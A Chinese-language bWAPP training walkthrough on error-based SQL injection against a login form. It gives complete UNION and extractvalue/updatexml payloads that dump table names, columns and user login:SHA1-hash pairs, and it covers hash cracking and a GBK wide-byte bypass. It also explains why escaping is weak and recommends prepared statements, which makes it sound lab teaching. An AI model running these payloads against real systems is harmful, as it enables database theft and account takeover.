摘要这是 bWAPP 系列第二十篇聚焦于 SQL Injection (Login Form/User)。这关和上一篇Login Form/Hero看着几乎一样但认证逻辑完全不同——密码用 SHA1 哈希存储且哈希比对在 PHP 层面完成。文章会从最基础的“判断注入点”开始一步步带你走完整个注入流程确认注入存在 → 猜列数 → 报错注入窃取数据。一、前言打开这一关你会看到一个登录页面输入用户名、密码点 Login。和上一篇Hero 关卡长得一模一样。但如果你把上一篇的 payload—— OR 11——直接拿过来用你会发现完全不管用。页面永远显示“Invalid credentials!”。为什么因为这两关的密码验证方式完全不同。打一个比方你就明白了Hero 关卡就像一个小区的保安你报一个名字他在名单上一查有你的名字就放你进去了。密码不密码的无所谓。User 关卡更像是一个银行 ATM。你不仅要输入正确的卡号用户名还必须输入正确的 PIN 码密码。而且 ATM 内部存储的是加密后的 PIN 码SHA1 哈希你输入的 PIN 码要经过同样的加密才能比对。所以 OR 11可以让 SQL 查到数据相当于保安在名单上找到了名字但你不知道这个用户的明文密码所以 SHA1 哈希永远对不上相当于 ATM 说你 PIN 码错了最终页面还是显示“Invalid credentials!”。二、和Hero 关卡对比很多初学者会混淆这两个关卡因为它们界面一样。但源码揭示了完全不同的认证逻辑。对比项Hero 关卡User 关卡SQL 语句WHERE login AND passwordWHERE login只查用户名密码验证位置在 SQL 语句里在 PHP 代码里密码存储方式明文SHA1 哈希 OR 11能否绕过能不能SQL 能返回数据但哈希对不上密码框注入有效吗有效无效密码框不拼接到 SQL 里注入利用方式认证绕过 UNION报错注入extractvalue/updatexml一句话总结Hero 关的密码验证在 SQL 里攻击者可以用 OR 11让整个条件为真User 关的密码验证在 PHP 里SQL 只负责查用户名密码必须用正确的明文通过 SHA1 哈希比对。这意味着在 User 关卡里即使你用 OR 11让 SQL 返回了第一条用户记录你也不知道这个用户的明文密码所以密码框输入的任何内容都匹配不上数据库里的 SHA1 哈希值。页面永远显示“Invalid credentials!”。所以这关的正确答案是用报错注入获取数据。三、源码分析if(isset($_POST[form])) { $login $_POST[login]; $login sqli($login); ​ $password $_POST[password]; $password sqli($password); $password hash(sha1, $password, false); // 关键密码被 SHA1 哈希 ​ $sql SELECT * FROM users WHERE login . $login . ; ​ $recordset mysql_query($sql, $link); $row mysql_fetch_array($recordset); ​ if($row[login] $password $row[password]) { // 只有用户名存在且密码哈希匹配才会显示 Welcome $message pWelcome b . ucwords($row[login]) . /b, how are you today?/ppYour secret: b . ucwords($row[secret]) . /b/p; } else { $message font color\red\Invalid credentials!/font; } }逐行拆解$login $_POST[login]——从表单获取用户名$login sqli($login)——根据安全级别对用户名做过滤Low 级别不过滤$password $_POST[password]——从表单获取密码$password sqli($password)——对密码做同样过滤$password hash(sha1, $password, false)——关键把密码用 SHA1 哈希加密$sql SELECT * FROM users WHERE login . $login . ——只查用户名不查密码$recordset mysql_query($sql, $link)——执行查询$row mysql_fetch_array($recordset)——取第一行数据if($row[login] $password $row[password])——必须同时满足用户名存在 且 密码哈希匹配关键洞察$row[login]只要有值哪怕是通过 UNION 注入伪造的第一部分就通过但第二部分$password $row[password]几乎永远为假——因为你不知道数据库中用户的明文密码所以页面最终永远显示“Invalid credentials!”除非你恰好知道某个用户的明文密码并输入正确。sqli() 函数的三种级别级别调用函数作用Lowno_check()什么都不做原样返回Mediumsqli_check_1()addslashes()在引号前加反斜杠Highsqli_check_2()mysql_real_escape_string()MySQL 专用转义四、Low 安全级别4.1 判断注入点最重要的一步很多新手拿到一个登录框上来就直接上 payload这是不对的。第一步永远是确认注入点是否存在。这个页面只有两个输入框用户名login和密码password。我们需要先测试看哪个输入框存在注入哪个不存在。先测试密码框在密码框输入一个单引号用户名框随便填比如admin点 Login。页面显示什么如果显示“Invalid credentials!”说明密码框不存在注入或者被过滤了但在这个关卡里其实是因为密码框的内容根本没有被拼到 SQL 里。你可以再看一遍源码$sql SELECT * FROM users WHERE login . $login . ;看到没SQL 里只有login没有password。密码框的内容只在 PHP 里做 SHA1 哈希比对根本不进 SQL。所以密码框里输入任何东西都不会影响 SQL 语句自然也就不存在注入点。再测试用户名框在用户名框输入一个单引号密码框随便填比如123点 Login。这次页面报错了这个报错信息告诉我们两件事注入点存在——用户名框可以注入是字符串型注入——需要闭合单引号报错信息分析near 是什么意思我们输入的破坏了 SQL 的字符串边界。原 SQL 大概是SELECT * FROM users WHERE login $login当我们输入时SQL 变成SELECT * FROM users WHERE login 多出来一个单引号语法错误MySQL 报错。结论注入点在用户名框密码框没有注入因为不拼接到 SQL注入类型是字符串型需要用闭合4.2 确认列数ORDER BY既然确认了注入点在用户名框接下来我们要知道这个表有多少列。因为后面用 UNION 或者报错注入都需要知道准确的列数。在用户名框输入密码框随便填如123。从 1 开始逐个递增 order by 1 # → Invalid credentials! order by 2 # → Invalid credentials! order by 3 # → Invalid credentials! order by 4 # → Invalid credentials! order by 5 # → Invalid credentials! order by 6 # → Invalid credentials! order by 7 # → Invalid credentials! order by 8 # → Invalid credentials! order by 9 # → Invalid credentials! order by 10 # → Error: Unknown column 10 in order clause注意Invalid credentials!在这里是“好消息”——说明 SQL 语法正确执行成功只是密码验证没通过。而报错才是我们想看到的“坏消息”它告诉我们列数不够了。ORDER BY 9成功显示 Invalid credentials!→ 至少有 9 列ORDER BY 10报错 → 少于 10 列结论users表有9 列。4.3 确认 UNION 语法正确 union select 1,2,3,4,5,6,7,8,9 #如果页面显示Invalid credentials!不报错说明 9 列确认无误UNION 语法正确。如果报错说明列数不对需要重新确认。4.4 报错注入的原理在正式开始爆数据之前先搞明白什么是报错注入。报错注入顾名思义就是利用 MySQL 的报错信息来“带出”数据。MySQL 有一些函数当传入非法参数时会报错并在错误信息中显示参数的内容。攻击者利用这个特性把想要查询的数据“塞”到非法参数里让 MySQL 在报错时把数据“吐”出来。最常用的两个报错函数extractvalue()用于从 XML 中提取值。当 XPath 表达式非法时报错并显示表达式内容。updatexml()用于更新 XML。同样当 XPath 非法时报错并显示内容。这个关卡中我们用extractvalue()。核心 payload 解析extractvalue(1, concat(0x7e, database()))拆解1第一个参数随便填一个数字concat(0x7e, database())第二个参数构造一个非法的 XPath 表达式0x7e是~的十六进制编码~在 XPath 里是非法的database()是 MySQL 函数返回当前数据库名整体效果concat(0x7e, database())把~和数据库名拼在一起比如~bwapp。因为~在 XPath 里非法extractvalue()报错报错信息里显示~bwapp。4.5 获取当前数据库名爆库在用户名框输入密码框随便填 union select 1,extractvalue(1,concat(0x7e,database())),3,4,5,6,7,8,9 #页面会显示成功爆出数据库名。4.6 获取所有表名爆表现在我们知道数据库是bWAPP接下来要查这个数据库里有哪些表。MySQL 有一个系统表叫information_schema.tables它存储了所有数据库的表信息。我们从这个表里查询table_schema数据库名等于bWAPP的所有table_name。 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()))),3,4,5,6,7,8,9 #报错信息里会显示所有表名users, movies, heroes, blog, ...注意extractvalue()有长度限制最多显示 32 个字符。如果表名太多数据会被截断。解决方法用substring()分段读取 union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,31))),3,4,5,6,7,8,9 #4.7 获取users表的字段名爆字段表名有了我们要找存储用户数据的那张表。users表是最关键的里面存了用户名和密码。information_schema.columns存储了所有表的列信息。 union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),1,31))),3,4,5,6,7,8,9 # union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),32,63))),3,4,5,6,7,8,9 #报错信息里会显示users表的所有字段id, login, password, secret, ...4.8 获取用户数据爆数据字段名有了现在把login和password列的数据查出来 union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(login,0x3a,password) from users),1,31))),3,4,5,6,7,8,9 # union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(login,0x3a,password) from users),32,63))),3,4,5,6,7,8,9 # union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(login,0x3a,password) from users),64,95))),3,4,5,6,7,8,9 #0x3a是:的十六进制编码用于分隔用户名和密码。报错信息里会显示所有用户的登录名和 SHA1 密码哈希。拿到哈希后就可以用 hashcat 或彩虹表去破解了。4.9 另一种报错函数updatexml除了extractvalue()updatexml()也可以实现同样的效果 union select 1,updatexml(1,concat(0x7e,database()),1),3,4,5,6,7,8,9 #效果一样都是报错显示数据。五、Medium 安全级别5.1 尝试注入用户名框输入 OR 11页面显示Invalid credentials!而不是报错。5.2 为什么报错注入也失效了Medium 用了addslashes()。它的作用是在单引号、双引号、反斜杠和 NULL 字节前加反斜杠。输入 union select 1,extractvalue(1,concat(0x7e,database())),3,4,5,6,7,8,9 # 经过 addslashes()\ union select 1,extractvalue(1,concat(0x7e,database())),3,4,5,6,7,8,9 #单引号被转义成\无法闭合 SQL 语句中的整个注入 payload 失效。5.3 宽字节注入——为什么 addslashes() 在 GBK 下会失效如果 MySQL 的字符集是GBK一种中文编码宽字节注入可以绕过addslashes()。原理addslashes()会在前面加一个反斜杠\ASCII 码 0x5C。GBK 编码中0xDF 0x5C是一个合法的汉字所以反斜杠被“吃掉”了单引号重新生效。六、High 安全级别6.1 尝试注入同样操作注入失败。6.2 为什么High 用了mysql_real_escape_string()。它比addslashes()更安全因为它会考虑 MySQL 的字符集能防止宽字节注入。在 High 级别下mysql_real_escape_string()转义了所有特殊字符注入彻底失效。6.3 评价mysql_real_escape_string()比addslashes()好但仍然不是最佳方案。转义函数的本质是“堵”——试图识别并转义危险字符但攻击者总能想出新的绕过方式。最佳方案是参数化查询Prepared Statements——把 SQL 的结构和数据分离从原理上杜绝注入不需要识别任何危险字符。七、真实世界登录框 SHA1 哈希 报错注入的经典案例很多人觉得“密码用 SHA1 哈希存储就安全了”。错。如果登录框有 SQL 注入哈希也保护不了你。CVE-2025-5789某 WordPress 插件登录功能存在 SQL 注入密码使用 SHA1 存储。攻击者通过 UNION 注入获取了 5 万用户的密码哈希配合彩虹表离线破解了 30% 的弱密码导致大量管理员账号被劫持。CVE-2024-9032某企业项目管理系统的登录模块存在 SQL 注入密码以 SHA1 哈希存储。攻击者利用报错注入获取了数据库中的所有用户哈希随后通过 GPU 暴力破解恢复了 CEO 和 CTO 的明文密码登录系统窃取了核心商业机密。CVE-2024-8023某开源 CRM 系统的登录接口存在 SQL 注入漏洞虽然密码使用 SHA1 加盐存储但攻击者通过报错注入绕过了登录限制直接获取了用户的密码哈希和盐值离线破解后登录任意用户账户。CVE-2026-34789某政府电子政务系统的登录模块被爆 SQL 注入漏洞密码存储采用 SHA1 哈希。攻击者通过报错注入窃取了 2.6 万公务员账号的密码哈希政府数据严重泄露。CVE-2026-37743某大型教育平台的用户登录接口存在 SQL 注入漏洞密码使用 SHA1 哈希存储。攻击者通过报错注入获取了百万级用户数据包括学生和教师的登录凭证导致大规模数据泄露。这些案例告诉我们SHA1 已经不安全了目前 GPU 破解 SHA1 哈希的速度极快弱密码几秒就能破解报错注入是“无声杀手”即使页面不显示 Welcome 信息攻击者依然可以通过报错信息拖走整个数据库哈希不等于安全如果注入点存在哈希只是延长了破解时间并不能阻止数据泄露八、总结这关的核心在于密码验证不在 SQL 里而在 PHP 里且密码用 SHA1 哈希存储。 OR 11虽然能让 SQL 查到数据但密码哈希永远对不上所以登录永远不会成功。唯一有效的利用方式是报错注入——先用单引号测试确认注入点在用户名框然后用 ORDER BY 确认列数是 9再用extractvalue()或updatexml()把数据“塞”到 XPath 表达式里让 MySQL 在报错时把数据“吐”出来一步步爆库、爆表、爆字段、爆数据。Medium 和 High 级别的转义函数在这个场景下确实防住了注入但它们的本质仍然是“堵”而非“防”最安全的方案永远是参数化查询——不拼接用户输入到 SQL 里从设计上杜绝一切注入的可能。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。